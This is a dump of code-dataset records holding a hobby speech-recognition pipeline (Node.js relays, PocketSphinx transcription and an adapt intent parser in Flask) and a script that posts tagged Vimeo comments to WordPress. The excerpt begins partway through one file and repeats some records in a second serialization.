\t\tport: 3000,\t\n \t\theaders: { 'Content-Type': 'application/x-www-form-urlencoded'}\n };\n\t //console.log(\"options are ready\");\n \t var req = http.request(options, function(res) {\n \t \tres.setEncoding('utf8');\n \t \tres.on('data', function (TempCommand) {\n \t\t\tconsole.log('BODY: ' + TempCommand);\n });\n\n });\n\n req.on('error', function(e) {\n \t console.log(e);\n \t });\n\n // Write the audio data in the request body.\n \n //var dt = \"{'resData':'\"+command+\"'}\";\n //console.log(dt);\n req.write(command);\n //console.log(\"command 2:\",command);\n req.end();\n\n }\n\n/* \n\n\n//http://localhost:8086/_getproduct/8821264\napp.get('/_getproduct/:id', function(req, res) {\n if (!req.params.id) {\n res.status(500);\n res.send({\"Error\": \"Looks like you are not senging the product id to get the product details.\"});\n console.log(\"Looks like you are not senging the product id to get the product detsails.\");\n }\n request.get({ url: \"http://localhost:3000/_getproduct/energy%20consumption%20on%2015%20april%202018\" + req.params.id }, function(error, response, body) {\n if (!error && response.statusCode == 200) {\n res.json(body);\n }\n });\n });\n\n*/\n\napp.listen(8086, function () {\n console.log('Example app listening on port 8086!')\n});\n\n\n\n\n\n\n\n\n\n \n"}],"string":"[\n {\n \"alpha_fraction\": 0.5433333516120911,\n \"alphanum_fraction\": 0.5507692098617554,\n \"avg_line_length\": 22.347305297851562,\n \"blob_id\": \"42492dafe78246af924543ea2f98822850568ed7\",\n \"content_id\": \"a7f162da285f56ab518a12ef1cb20137d0a06afe\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3900,\n \"license_type\": \"no_license\",\n \"max_line_length\": 80,\n \"num_lines\": 167,\n \"path\": \"/pyflask2.py\",\n \"repo_name\": \"dnyaneshwar1991/Speech_Recognition\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import json\\nimport sys\\nfrom adapt.entity_tagger import EntityTagger\\nfrom adapt.tools.text.tokenizer import EnglishTokenizer\\nfrom adapt.tools.text.trie import Trie\\nfrom adapt.intent import IntentBuilder\\nfrom adapt.parser import Parser\\nfrom adapt.engine import IntentDeterminationEngine\\nimport datetime\\nimport parsedatetime\\nfrom flask import Flask\\nfrom flask import request\\n\\n\\napp = Flask(__name__)\\n\\n\\n\\n@app.route(\\\"/compute/<cmd>\\\")\\ndef parse_request(cmd):\\n \\n print \\\"cmd is\\\",cmd;\\n res = dbcon(cmd) \\n return res\\n\\n \\n\\ndef dbcon(text):\\n \\n tokenizer = EnglishTokenizer()\\n trie = Trie()\\n tagger = EntityTagger(trie, tokenizer)\\n parser = Parser(tokenizer, tagger)\\n cal = parsedatetime.Calendar()\\n engine = IntentDeterminationEngine()\\n\\n category_keyword = [\\n \\\"energy\\\",\\n \\\"equipment\\\"\\n ]\\n\\n for ck in category_keyword:\\n engine.register_entity(ck, \\\"categoryKeyword\\\")\\n\\n command_categories = [\\n \\\"show\\\",\\n \\\"write\\\",\\n \\\"what\\\",\\n \\\"display\\\",\\n \\\"read\\\"\\n ]\\n for cc in command_categories:\\n engine.register_entity(cc,\\\"commandcategories\\\")\\n\\n pmt_categories = [\\n \\\"details\\\",\\n \\\"status\\\",\\n \\\"parameters\\\",\\n \\\"requirement\\\",\\n \\\"output\\\"\\n ]\\n for pc in pmt_categories:\\n engine.register_entity(pc, \\\"pmtcategories\\\")\\n\\n lvl_categories = [\\n \\\"level-1\\\",\\n \\\"level-2\\\",\\n \\\"level-3\\\",\\n \\\"level-4\\\",\\n \\\"level-5\\\"\\n ]\\n for lc in lvl_categories:\\n engine.register_entity(lc,\\\"lvlcategories\\\")\\n\\n intensity_categories = [\\n \\\"high\\\",\\n \\\"medium\\\",\\n \\\"low\\\",\\n \\\"normal\\\"\\n\\n ]\\n for ic in intensity_categories:\\n engine.register_entity(ic,\\\"intensitycategories\\\") \\n sub_categories = [\\n \\\"consumption\\\",\\n \\\"demand\\\",\\n \\\"energy consumption tracker\\\",\\n \\\"building energy usage category\\\",\\n \\\"top five faults\\\",\\n \\\"faults by equipment category\\\",\\n \\\"chiller system runhour\\\",\\n \\\"boiler system runhour\\\"\\n\\n ]\\n for sc in sub_categories:\\n engine.register_entity(sc, \\\"subcategories\\\")\\n\\n range_categories = [\\n \\\"one month data\\\",\\n \\\"two month data\\\",\\n \\\"three month data\\\",\\n \\\"four month data\\\",\\n \\\"five month data\\\",\\n \\\"six month data\\\",\\n \\\"seven month data\\\",\\n \\\"eight month data\\\",\\n \\\"nine month data\\\",\\n \\\"ten month data\\\"\\n ]\\n for rc in range_categories:\\n engine.register_entity(rc, \\\"rangecategories\\\")\\n\\n equipment_intent = IntentBuilder(\\\"equipmentIntent\\\")\\\\\\n .require(\\\"categoryKeyword\\\")\\\\\\n .optionally(\\\"subcategories\\\")\\\\\\n .optionally(\\\"commandcategories\\\")\\\\\\n .optionally(\\\"rangecategories\\\")\\\\\\n .optionally(\\\"pmtcategories\\\")\\\\\\n .optionally(\\\"intensitycategories\\\")\\\\\\n .optionally(\\\"lvlcategories\\\")\\\\\\n .build()\\n\\n engine.register_intent_parser(equipment_intent)\\n\\n #if __name__ == \\\"__main__\\\":\\n intent = {}\\n \\t\\n for intent in engine.determine_intent(text):\\n\\tprint\\\"*************************************************\\\"\\n \\tif intent.get('confidence') > 0:\\n \\t print \\\"intent:\\\",intent\\n \\n print (\\\"------------------------------------------------------------------\\\")\\n print \\\"text: \\\",text\\n print (\\\"------------------------------------------------------------------\\\")\\n \\n dt_obj = cal.parse(str(text))\\n \\n print \\\"date:\\\",dt_obj[0][2]\\n print \\\"Month:\\\",dt_obj[0][1]\\n print \\\"year:\\\",dt_obj[0][0]\\n \\n ''' \\t\\n if(dt_obj):\\n print 'date:',dt_obj.datetimeString-\\n\\n #print intent\\n\\n intent['date']=dt_obj.datetimeString\\n '''\\n \\t\\n intent['date'] = dt_obj[0][2] \\n intent['month'] = dt_obj[0][1]\\n intent['year'] = dt_obj[0][0]\\n \\t\\t \\n print intent\\n return(json.dumps(intent, indent=4))\\n\\n \\n\\n \\n\\n\\nif __name__ == \\\"__main__\\\":\\n\\t#app.debug = True\\n\\tapp.run('127.0.0.1', 8085)\\n\\t#app.run(debug = True)\\t\\n\"\n },\n {\n \"alpha_fraction\": 0.5738310217857361,\n \"alphanum_fraction\": 0.5890073776245117,\n \"avg_line_length\": 24.9255313873291,\n \"blob_id\": \"177615f9d5071c0fcf814551df7841237cf07f71\",\n \"content_id\": \"a2b106093cfa143dcd35813797fe7af40e66cfb4\",\n \"detected_licenses\": [],\n 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the requests sent\\n // to the API (e.g. in case you use sessions)\\n res.header('Access-Control-Allow-Credentials', true);\\n\\n // Pass to next layer of middleware\\n next();\\n})\\n\\n//support parsing of application/json type post data\\n//app.use(bodyParser.json());\\n\\n\\n//app.use(bodyParser.text({ type: 'text/html' }))\\n\\n\\n\\t\\n\\n/*\\tvar path1 = \\\"compute/\\\" + keys[0];\\t\\n\\tvar options = {\\n \\t\\thost: 'localhost',\\n \\t\\tpath: path1,\\n \\t\\tmethod: 'get',\\n \\t\\tport: 8085,\\t\\n \\t\\theaders: { 'Content-Type': 'application/x-www-form-urlencoded'}\\n };\\n\\t //console.log(\\\"options are ready\\\");\\n \\t var req = http.request(options, function(res) {\\n \\t \\tres.setEncoding('utf8');\\n \\t \\tres.on('data', function (TempCommand) {\\n \\t\\t\\tconsole.log('response from python library: ' + TempCommand);\\n });\\n\\n });\\n\\n req.on('error', function(e) {\\n \\t console.log(e);\\n \\t });\\n\\n // Write the audio data in the request body.\\n \\n //var dt = \\\"{'resData':'\\\"+command+\\\"'}\\\";\\n //console.log(dt);\\n req.write();\\n //console.log(\\\"command 2:\\\",command);\\n req.end();\\n\\n });\\n \\n*/\\n\\n//support parsing of application/x-www-form-urlencoded post data\\napp.use(bodyParser.urlencoded({ extended: true }));\\n\\napp.post('/_getproduct', function(req, res) {\\n\\tconsole.log(\\\"body:\\\", req.body);\\n var keys =Object.keys(req.body); \\n console.log(keys[0]);\\n\\n\\nrequest.get({ url: \\\"http://localhost:8085/compute/\\\" + keys[0]}, function(error, response, body) { \\n if (!error && response.statusCode == 200) { \\n //res.json(body);\\n\\t console.log(body);\\n\\t\\t res.json(body); \\n } \\n\\n }); \\n });\\n \\n\\n\\napp.listen(3000, function () {\\n console.log('Example app listening on port 3000!')\\n}); \\n\"\n },\n {\n \"alpha_fraction\": 0.5535109043121338,\n \"alphanum_fraction\": 0.5728813409805298,\n \"avg_line_length\": 25.81818199157715,\n \"blob_id\": \"2c09bff7113ccab12d30b17d48f662af063c1897\",\n \"content_id\": \"43c37a698135f86d6c23b063b2b36b95fa710763\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2065,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 77,\n \"path\": \"/live_stt.py\",\n \"repo_name\": \"dnyaneshwar1991/Speech_Recognition\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"\\nCreated on Fri Jun 23 08:37:58 2017\\n\\n@author: jjadhad\\n\\\"\\\"\\\"\\n\\nimport pyaudio\\n#import wave\\nfrom os import environ, path\\nimport sys\\nfrom pocketsphinx.pocketsphinx import *\\nfrom sphinxbase.sphinxbase import *\\nfrom flask import Flask\\n#import flask\\n#from flask import request,Request\\n#---------------------------------------------------------------------------------#\\n\\napp = Flask(__name__)\\nCHUNK = 1024\\nFORMAT = pyaudio.paInt16\\nCHANNELS = 1\\nRATE = 16000\\n#RECORD_SECONDS = 5\\n\\n \\n\\n#MODELDIR = \\\"/home/jjadhad/workspace/speech_to_text/cmusphinx-en-in-5.2\\\"\\nMODELDIR = \\\"/home/jjadhad/workspace/speech_to_text/ac_mo\\\"\\n\\n# Create a decoder with certain model\\nconfig = Decoder.default_config()\\nconfig.set_string('-hmm', path.join(MODELDIR, 'en-us'))\\nconfig.set_string('-lm', path.join(MODELDIR, '3456.lm'))\\nconfig.set_string('-dict', path.join(MODELDIR, '3456.dic'))\\n#config.set_string('-logfn', '/dev/null')\\ndecoder = Decoder(config)\\n\\n\\n\\np = pyaudio.PyAudio()\\nstream = p.open(format=FORMAT,\\n channels=CHANNELS,\\n rate=RATE,\\n input=True,\\n frames_per_buffer=CHUNK) \\n\\n\\ndecoder.start_utt()\\nin_speech_bf = True\\n\\nwhile True:\\n buf = stream.read(1024)\\n if buf:\\n decoder.process_raw(buf, False, False)\\n try:\\n if decoder.hyp().hypstr != '':\\n print('Partial decoding result:', decoder.hyp().hypstr)\\n except AttributeError:\\n pass\\n if decoder.get_in_speech():\\n sys.stdout.write('.')\\n sys.stdout.flush()\\n if decoder.get_in_speech() != in_speech_bf:\\n in_speech_bf = decoder.get_in_speech()\\n if not in_speech_bf:\\n decoder.end_utt()\\n try:\\n if decoder.hyp().hypstr != '':\\n print('Stream decoding result:', decoder.hyp().hypstr)\\n except AttributeError:\\n pass\\n decoder.start_utt()\\n else:\\n break\\ndecoder.end_utt()\\nprint('An Error occured:', decoder.hyp().hypstr)\\n\"\n },\n {\n \"alpha_fraction\": 0.4992867410182953,\n \"alphanum_fraction\": 0.5106989741325378,\n \"avg_line_length\": 31.106870651245117,\n \"blob_id\": \"dd30e0aa91806931a334dea2ad9815db4f929454\",\n \"content_id\": \"d1dee3e61471e9a07190865a1b013a2d64eb9098\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4206,\n \"license_type\": \"no_license\",\n \"max_line_length\": 126,\n \"num_lines\": 131,\n \"path\": \"/stt.py\",\n \"repo_name\": \"dnyaneshwar1991/Speech_Recognition\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pyaudio\\nimport wave\\nfrom os import environ, path\\nimport sys\\nfrom pocketsphinx.pocketsphinx import *\\nfrom sphinxbase.sphinxbase import *\\nfrom flask import Flask\\n#import flask\\nfrom flask import request,Request\\n#import time\\n\\n#from werkzeug.utils import secure_filename\\n#import os,io\\n\\napp = Flask(__name__)\\n\\n\\ndef VoiceRecorder():\\n CHUNK = 1024\\n FORMAT = pyaudio.paInt16\\n CHANNELS = 1\\n RATE = 16000\\n #RECORD_SECONDS = 5\\n\\n p = pyaudio.PyAudio()\\n stream = p.open(format=FORMAT,\\n channels=CHANNELS,\\n rate=RATE,\\n input=True,\\n frames_per_buffer=CHUNK) \\n buf = stream.read(1024)\\n return buf\\n\\ndef StreamParser(ByteArray):\\n MODELDIR = \\\"/home/jjadhad/sphinx_examples/ac_mo\\\"\\n #DATADIR = \\\"/usr/share/pocketsphinx/test/data\\\"\\n\\n # Create a decoder with certain model\\n config = Decoder.default_config()\\n config.set_string('-hmm', path.join(MODELDIR, 'en-us'))\\n config.set_string('-lm', path.join(MODELDIR, 'en-us.lm'))\\n config.set_string('-dict', path.join(MODELDIR, 'cmudict-en-us.dict'))\\n decoder = Decoder(config)\\n\\n decoder.start_utt()\\n in_speech_bf = True\\n a=20\\n while True:\\n #buf = stream.read(1024)\\n if ByteArray:\\n decoder.process_raw(ByteArray, False, False)\\n try:\\n if decoder.hyp().hypstr != '':\\n\\t\\t print \\\"********** Partial Result ***********\\\"\\n print('Partial decoding result:', decoder.hyp().hypstr)\\n #return decoder.hyp().hypstr\\n except AttributeError:\\n pass\\n #decoder.hyp().hypstr = ''\\n '''\\n if decoder.get_in_speech():\\n sys.stdout.write('.')\\n sys.stdout.flush()\\n ''' \\n if decoder.get_in_speech() != in_speech_bf:\\n in_speech_bf = decoder.get_in_speech()\\n if not in_speech_bf:\\n decoder.end_utt()\\n try:\\n if decoder.hyp().hypstr != '':\\n print \\\" ____________ Final Result ___________\\\"\\n print('Stream decoding result:', decoder.hyp().hypstr)\\n #return decoder.hyp().hypstr\\n except AttributeError:\\n pass\\n decoder.start_utt()\\n else:\\n break\\n decoder.end_utt()\\n print('An Error occured:', decoder.hyp().hypstr)\\n\\n#func()\\n#UPLOAD_FOLDER = '/home/jjadhad/'\\n#ALLOWED_EXTENSIONS = set(['txt', 'wav'])\\n#app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\\n#request.environ['CONTENT_TYPE'] = 'audio/wav'\\n\\n\\n\\n@app.route(\\\"/stream/<int:flag>\\\",methods=['POST'])\\ndef stream_read_handler(flag):\\n #print \\\"****************************************************************************************************************\\\"\\t\\n print \\\"Flag: \\\", flag\\n print \\\"flag type:\\\", type(flag) \\n #print \\\"data:\\\",request.get_data()\\t\\n #print \\\"data: \\\" , request.args.get('myfile')\\n #print \\\"data:\\\",request.body['data']\\n #print \\\"data:\\\",request.form['data']\\n #print \\\"data:\\\",request.args['data']\\n #print \\\"data:\\\",request.stream.read()\\n temp_data_2 = request.stream.read()\\n print \\\"type of bytearray: \\\", type(temp_data_2)\\n print \\\"temp_data_2 len\\\", len(temp_data_2)\\n fd = wave.open(\\\"sample_3.wav\\\",\\\"w\\\")\\n fd.setparams((1, 2, 16000, 70997, 'NONE', 'not compressed'))\\n fd.writeframesraw(temp_data_2)\\n #fd.close()\\n fd.close()\\n \\n command = 0\\t\\n if (flag == 0):\\n\\tprint \\\"---------------------------------------- byte array recved ---------------------------------------------------\\\"\\n return \\\"show me the energy consumption\\\"\\t \\n else:\\n\\tprint \\\"******************************************* mic enabled *******************************************************\\\"\\n\\tcommand = StreamParser(temp_data_2[44:])\\n if command == 0:\\n\\treturn 0\\t\\n return command\\t\\t \\t\\n\\t\\t \\n #cmd = process_raw_handler()\\n\\n#@app.route(\\\"/process_raw\\\")\\ndef process_raw_handler():\\n return \\\"processed raw buf output is here\\\"\\n\\n\\nif __name__ == \\\"__main__\\\":\\n #app.debug = True\\n app.run()\\n #app.run(debug = True)\\n\"\n },\n {\n \"alpha_fraction\": 0.5915880799293518,\n \"alphanum_fraction\": 0.6029874086380005,\n \"avg_line_length\": 23.461538314819336,\n \"blob_id\": \"d5e7fbdd23901dcc7e5f25ce01fc4f80656101b4\",\n \"content_id\": \"3b706de17a7fe19205675128b1a9fa85a90989fb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 2544,\n \"license_type\": \"no_license\",\n \"max_line_length\": 110,\n \"num_lines\": 104,\n \"path\": \"/wrapper.js\",\n \"repo_name\": \"dnyaneshwar1991/Speech_Recognition\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"var express = require('express');\\nvar request = require('request');\\nvar app = express();\\nvar fs = require(\\\"fs\\\");\\nvar sizeof = require('object-sizeof');\\nvar http = require(\\\"http\\\");\\nvar FormData = require('form-data');\\n\\n//require the body-parser nodejs module\\nvar bodyParser = require('body-parser');\\n\\n//require the path nodejs module\\nvar path = require(\\\"path\\\");\\n\\n \\n// Add headers\\napp.use(function (req, res, next) {\\n\\n // Website you wish to allow to connect\\n res.header('Access-Control-Allow-Origin', '*');\\n\\n // Request methods you wish to allow\\n res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');\\n\\n // Request headers you wish to allow\\n res.header('Access-Control-Allow-Headers', 'Content-type');\\n\\n // Set to true if you need the website to include cookies in the requests sent\\n // to the API (e.g. in case you use sessions)\\n res.header('Access-Control-Allow-Credentials', true);\\n\\n // Pass to next layer of middleware\\n next();\\n})\\n\\n//app.use(bodyParser.raw);\\napp.use(bodyParser.raw({ type: 'audio/wav', limit: '50mb' }));\\n\\n\\napp.post('/hello', function (req, res) {\\n\\t\\n\\t//console.log(\\\"----------------------body:\\\",req.body);\\n\\t//console.log(\\\"size:\\\", req.body.length);\\n\\t\\n var flag_for_wavfile = 0;\\n var wav_str;\\n var Command=''; \\n \\n if (req.body.length)\\t\\t// check for wavfile\\n\\t { \\n\\t\\t\\n\\t\\twav_str= req.body;\\n \\n\\t\\tfs.writeFile('sample_1.wav', wav_str, function(err) {\\n console.log(err ? 500 : 200 );\\n //res.send(err ? 500 : 200);\\n });\\n\\t\\tflag_for_wavfile = 1;\\t\\n\\t }\\n\\n\\telse\\n\\t{\\n\\t\\tflag_for_wavfile = 0;\\n\\t\\tconsole.log(\\\"In else condition\\\");\\n\\t}\\n\\n\\t//res.send(\\\"Hi, Amol Gogawale\\\");\\n\\t\\n\\t\\n\\tvar formData = {\\n \\t\\tmy_file: wav_str //fs.createReadStream('/home/jjadhad/nodejs/test_20.wav')\\n\\t};\\n \\n\\trequest.post({url:'http://localhost:5000/stream/1' , formData: formData}, function(err, httpResponse, body) {\\n \\t\\tif (err) {\\n \\t return console.error('upload failed:', err);\\n \\t\\t}\\n \\t console.log('Upload successful! Server responded with:', body);\\n\\t console.log(\\\"body:\\\",body);\\n\\t Command = body;\\n\\t console.log(\\\"Command:\\\",Command);\\n\\t res.send(body);\\n\\t});\\n\\t\\t\\t//console.log(\\\"body:\\\",Command);\\n\\t\\t\\t//while(Command == 'undefined');\\n\\t\\t\\t//console.log(\\\"body:\\\",Command);\\n\\t\\t\\t//res.send(Command);\\n\\t\\t\\t//return Command;\\n\\t\\t\\t\\n\\t\\t\\t\\n\\t\\n\\t})\\n\\n \\n\\t\\n\\n\\nvar server = app.listen(8081, function () {\\n\\n //var host = server.address().address\\n var port = server.address().port\\n console.log(\\\"Listening on port:\\\", port)\\n\\n})\\n\"\n },\n {\n \"alpha_fraction\": 0.8554216623306274,\n \"alphanum_fraction\": 0.8554216623306274,\n \"avg_line_length\": 40.5,\n \"blob_id\": \"0426579e5a51ddbbdaf6aac597863d63bab422dd\",\n \"content_id\": \"cf6bbd5fc6e60b86d96bda916a4b0045b65521e3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 83,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"dnyaneshwar1991/Speech_Recognition\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Speech_Recognition\\nThis repository contains code regarding to speech recognition\\n\"\n },\n {\n \"alpha_fraction\": 0.5643564462661743,\n \"alphanum_fraction\": 0.5807638168334961,\n \"avg_line_length\": 25.298507690429688,\n \"blob_id\": \"6707cc6d08069ca2b6acc7bea2cf72ec89e02428\",\n \"content_id\": \"bd0aba6b5af56b8f7c5ff74193d0e986ae6e7b27\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 3556,\n \"license_type\": \"no_license\",\n \"max_line_length\": 164,\n \"num_lines\": 134,\n \"path\": \"/centralnode2.js\",\n \"repo_name\": \"dnyaneshwar1991/Speech_Recognition\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"var express = require('express');\\nvar request = require('request');\\nvar http = require('http');\\nvar fs = require('fs');\\nvar app = express();\\n //require the body-parser nodejs module\\nvar bodyParser = require('body-parser');\\n //require the path nodejs module\\nvar path = require(\\\"path\\\");\\n\\n// Add headers\\napp.use(function (req, res, next) {\\n\\n // Website you wish to allow to connect\\n res.header('Access-Control-Allow-Origin', '*');\\n\\n // Request methods you wish to allow\\n res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');\\n\\n // Request headers you wish to allow\\n res.header('Access-Control-Allow-Headers', 'Content-type');\\n\\n // Set to true if you need the website to include cookies in the requests sent\\n // to the API (e.g. in case you use sessions)\\n res.header('Access-Control-Allow-Credentials', true);\\n\\n // Pass to next layer of middleware\\n next();\\n})\\n\\n//support parsing of application/json type post data\\n//app.use(bodyParser.json());\\n\\n//support parsing of application/x-www-form-urlencoded post data\\n//app.use(bodyParser.urlencoded({ extended: true }));\\n\\napp.use(bodyParser.raw({ type: 'audio/wav', limit: '50mb' }));\\napp.post('/postUsers', function (req, res) {\\n//TempCommand('text');\\n var data = req.body;\\n // console.log(req.body);\\n\\t\\t\\t\\n\\t var options = {\\n \\t\\thost: 'localhost',\\n \\t\\tpath: '/hello',\\n \\t\\tmethod: 'POST',\\n \\t\\tport: 8081,\\t\\n \\t\\theaders: { 'Content-Type': 'audio/wav' }\\n };\\n \\n \\t var req = http.request(options, function(res) {\\n \\t \\tres.setEncoding('utf8');\\n \\t \\tres.on('data', function (chunk){\\n\\n\\t\\t\\n\\t\\tTempCommand(chunk);\\n\\n\\t\\t\\n\\n \\t\\t\\t});\\n });\\n \\t\\n\\t\\n \\t \\n req.on('error', function(e) {\\n \\t console.log(e);\\n \\t });\\n\\n // Write the audio data in the request body.\\n req.write(data);\\n req.end();\\t\\t\\t\\t \\t\\n\\n})\\n\\n\\n/* write ur func here */\\n\\n\\nfunction TempCommand(command){\\n\\t//console.log(\\\" in func TempCommand() \\\");\\n\\t console.log(\\\"command\\\",command); \\n \\n var options = {\\n \\t\\thost: 'localhost',\\n \\t\\tpath: '/_getproduct',\\n \\t\\tmethod: 'post',\\n \\t\\tport: 3000,\\t\\n \\t\\theaders: { 'Content-Type': 'application/x-www-form-urlencoded'}\\n };\\n\\t //console.log(\\\"options are ready\\\");\\n \\t var req = http.request(options, function(res) {\\n \\t \\tres.setEncoding('utf8');\\n \\t \\tres.on('data', function (TempCommand) {\\n \\t\\t\\tconsole.log('BODY: ' + TempCommand);\\n });\\n\\n });\\n\\n req.on('error', function(e) {\\n \\t console.log(e);\\n \\t });\\n\\n // Write the audio data in the request body.\\n \\n //var dt = \\\"{'resData':'\\\"+command+\\\"'}\\\";\\n //console.log(dt);\\n req.write(command);\\n //console.log(\\\"command 2:\\\",command);\\n req.end();\\n\\n }\\n\\n/* \\n\\n\\n//http://localhost:8086/_getproduct/8821264\\napp.get('/_getproduct/:id', function(req, res) {\\n if (!req.params.id) {\\n res.status(500);\\n res.send({\\\"Error\\\": \\\"Looks like you are not senging the product id to get the product details.\\\"});\\n console.log(\\\"Looks like you are not senging the product id to get the product detsails.\\\");\\n }\\n request.get({ url: \\\"http://localhost:3000/_getproduct/energy%20consumption%20on%2015%20april%202018\\\" + req.params.id }, function(error, response, body) {\\n if (!error && response.statusCode == 200) {\\n res.json(body);\\n }\\n });\\n });\\n\\n*/\\n\\napp.listen(8086, function () {\\n console.log('Example app listening on port 8086!')\\n});\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n \\n\"\n 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like","value":[{"alpha_fraction":0.6766951084136963,"alphanum_fraction":0.6832060813903809,"avg_line_length":38.75,"blob_id":"fd8cd276e0c00e8e5c099dda434cefa5cf602e4a","content_id":"e75bd765283e6ec52748adb19f567c33d43d1a1e","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4454,"license_type":"permissive","max_line_length":255,"num_lines":112,"path":"/vimeo_wp.py","repo_name":"kalsop/Vimeo-video-comments-to-Wordpress-post","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\nScript that takes comments from a vimeo video with a #highlight tag and converts them to wordpress posts.\n\"\"\"\n\nfrom wordpress_xmlrpc import Client, WordPressPost\nfrom wordpress_xmlrpc.methods.posts import GetPosts, NewPost\nfrom wordpress_xmlrpc.methods.users import GetUserInfo\nimport codecs\nimport credentials as cr\nimport json\nimport locale\nimport logging\nimport oauth2 as oauth\nimport optparse\nimport os\nimport sys\nimport warnings\n\n__author__ = '$USER'\n__version__=\"0.1\"\n\nscript_name = os.path.basename(sys.argv[0])\nusage = '[options] <video_id> <parent_post_id>'\ndescription = '''\nScript that takes comments from a vimeo video with a #highlight tag and converts them to wordpress posts.\n'''\n\nlogger = logging.getLogger(script_name)\n\ndef convert_comments_to_posts(video_id, parent_post_id):\n token = oauth.Token(key=cr.token_key, secret=cr.token_secret)\n consumer = oauth.Consumer(key=cr.consumer_key, secret=cr.consumer_secret)\n url = \"http://vimeo.com/api/rest/v2?format=json&method=vimeo.videos.comments.getList&video_id=\" + str(video_id)\n client = oauth.Client(consumer, token)\n resp, content = client.request(url)\n data = json.loads(content)\n process_comments(video_id, parent_post_id, data['comments']['comment'])\n\ndef process_comments(video_id, parent_post_id, comments):\n wp = Client(cr.wp_url, cr.wp_user, cr.wp_password)\n for comment in comments:\n if '#highlight' in comment['text']:\n process_comment(wp, video_id, parent_post_id, comment)\n\ndef get_post_content(video_id, comment):\n text = comment['text'].replace('#highlight','')\n return '<p>' + text + '</p><iframe src=\"' + video_url(video_id, text) + '\" width=\"625\" height=\"368\" frameborder=\"0\" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe><p><a href=\"' + comment['permalink'] + '\">View comment on Vimeo</a> '\n\ndef process_comment(wp, video_id, parent_post_id, comment):\n post = WordPressPost()\n post.title = comment['text'][6:50]\n post.content = get_post_content(video_id,comment)\n post.post_type = 'video-highlight'\n post.post_status = 'publish'\n post.parent_id = parent_post_id\n #logger.info(\"Created post with ID [%s]\", wp.call(NewPost(post)))\n print \"Created post with ID [%s]\" % wp.call(NewPost(post))\n\ndef video_url(video_id, comment_text):\n url = 'http://player.vimeo.com/video/%s#t=%s' % (video_id, strip_time(comment_text))\n logger.debug(\"Video URL: %s\", url)\n return url\n\ndef strip_time(text):\n return text[0:2] + 'm' + text[3:5] + 's'\n\ndef get_options(argv):\n '''Get options and arguments from argv string.'''\n parser = optparse.OptionParser(usage=usage, version=__version__)\n parser.description=description\n parser.add_option(\"-v\", \"--verbosity\", action=\"count\", default=0,\n help=\"Specify up to three times to increase verbosity, i.e. -v to see warnings, -vv for information messages, or -vvv for debug messages.\")\n \n # Extra script options here...\n \n options, args = parser.parse_args(list(argv))\n script, args = args[0], args[1:]\n return options, script, args, parser.format_help()\n\ndef init_logger(verbosity, stream=sys.stdout):\n '''Initialize logger and warnings according to verbosity argument.\n Verbosity levels of 0-3 supported.'''\n is_not_debug = verbosity <= 2\n level = [logging.ERROR, logging.WARNING, logging.INFO][verbosity] if is_not_debug else logging.DEBUG\n format = '%(message)s' if is_not_debug else '%(asctime)s %(levelname)-8s %(name)s %(module)s.py:%(funcName)s():%(lineno)d %(message)s'\n logging.basicConfig(level=level, format=format, stream=stream)\n if is_not_debug: warnings.filterwarnings('ignore')\n\ndef wrap_stream_for_tty(stream):\n if stream.isatty():\n # Configure locale from the user's environment settings.\n locale.setlocale(locale.LC_ALL, '')\n \n # Wrap stdout with an encoding-aware writer.\n lang, encoding = locale.getdefaultlocale()\n logger.debug('Streaming to tty with lang, encoding = %s, %s', lang, encoding)\n if encoding:\n return codecs.getwriter(encoding)(stream)\n else:\n logger.warn('No tty encoding found!')\n \n return stream\n\ndef main(*argv):\n options, script, args, help = get_options(argv)\n init_logger(options.verbosity)\n convert_comments_to_posts(args[0], args[1])\n\nif __name__ == '__main__':\n sys.exit(main(*sys.argv))\n\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6766951084136963,\n \"alphanum_fraction\": 0.6832060813903809,\n \"avg_line_length\": 38.75,\n \"blob_id\": \"fd8cd276e0c00e8e5c099dda434cefa5cf602e4a\",\n \"content_id\": \"e75bd765283e6ec52748adb19f567c33d43d1a1e\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4454,\n \"license_type\": \"permissive\",\n \"max_line_length\": 255,\n \"num_lines\": 112,\n \"path\": \"/vimeo_wp.py\",\n \"repo_name\": \"kalsop/Vimeo-video-comments-to-Wordpress-post\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n# encoding: utf-8\\n\\\"\\\"\\\"\\nScript that takes comments from a vimeo video with a #highlight tag and converts them to wordpress posts.\\n\\\"\\\"\\\"\\n\\nfrom wordpress_xmlrpc import Client, WordPressPost\\nfrom wordpress_xmlrpc.methods.posts import GetPosts, 